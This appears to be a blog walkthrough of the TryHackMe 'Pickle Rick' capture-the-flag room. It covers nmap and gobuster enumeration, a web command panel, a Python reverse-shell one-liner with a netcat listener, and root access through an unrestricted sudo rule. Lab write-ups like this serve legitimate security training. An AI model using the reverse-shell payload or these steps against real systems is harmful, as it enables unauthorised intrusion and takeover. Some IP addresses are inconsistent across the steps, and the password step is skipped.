Today we are doing another easy THM room - Pickle Rick.
The goal is simple. We have to find 3 flags, or more like 3 ingredients. whatever
Enumeration
First, export the target IP
export IP=10.49.150.88
Visit the website. It gives you a pretty obvious hint:
# Help Morty!
Listen Morty... I need your help, I've turned myself into a pickle again and this time I can't change back!
I need you to ***BURRRP***....Morty, logon to my computer and find the last three secret ingredients to finish my pickle-reverse potion. The only problem is, I have no idea what the ***BURRRRRRRRP***, password was! Help Morty, Help!
Check the source code as well.
You will find:
<!-- Note to self, remember username! Username: R1ckRul3s -->
So we have the username:
R1ckRul3s
Nmap
Now run a quick Nmap scan:
nmap $IP
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-01 22:24 IST
Nmap scan report for 10.49.150.88
Host is up (0.40s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 2 IP addresses (1 host up) scanned in 32.65 seconds
We have SSH and HTTP open, and we already have a username.
You can try Hydra against SSH, but password authentication is disabled, so it won't work here.
Let's move on to the web server.
Directory Enumeration
Use Gobuster to enumerate the website:
gobuster dir -u "http://$IP" -w /usr/share/seclists/Discovery/Web-Content/common.txt
You should get something like:
/.hta (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/assets (Status: 301) [Size: 317] [--> http://10.145.177.117/assets/]
/index.html (Status: 200) [Size: 1062]
/robots.txt (Status: 200) [Size: 17]
/server-status (Status: 403) [Size: 279]
Check robots.txt:
Wubbalubbadubdub
Nothing useful here tho.
You can find /login.php.
We already know the username and password so use them to log in.
Finding the First Ingredient
After logging in, check /portal.php.
You will find a command field that lets you run commands.
We cant run cat so we need to check for other ways.
We find a Base64 encoded string while viewing the page source:
Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==
Decode it repeatedly.
After decoding it multiple times, you will eventually get:
rabbit hole
Maybe that's another hint to keep looking.
Getting a Reverse Shell
Now check the current user's sudo permissions:
sudo -l
You should see:
Matching Defaults entries for www-data on ip-10-146-142-225:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ip-10-146-142-225:
(ALL) NOPASSWD: ALL
Crazy.
www-data can run anything as root without a password.
First, get a reverse shell.
On your machine, use:
ip addr
to find your IP address.
Start a Netcat listener:
nc -lvnp 4444
Then put a reverse shell payload into the web command field:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.192.7",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
You can also find different reverse shell payloads on revshells.com
Once executed, you should get a reverse shell in your terminal.
Privilege Escalation
Since www-data has NOPASSWD: ALL, privilege escalation is extremely simple.
Run:
sudo su
Check your current user:
whoami
You should get:
root
And now we are root.
Finding the Flags
Since we are root, we can navigate through the system and access the flags.
For example:
ls /root/
Output:
3rd.txt snap
You can now find the remaining ingredients/flags throughout the system.
And that's it.
Thanks for reading.
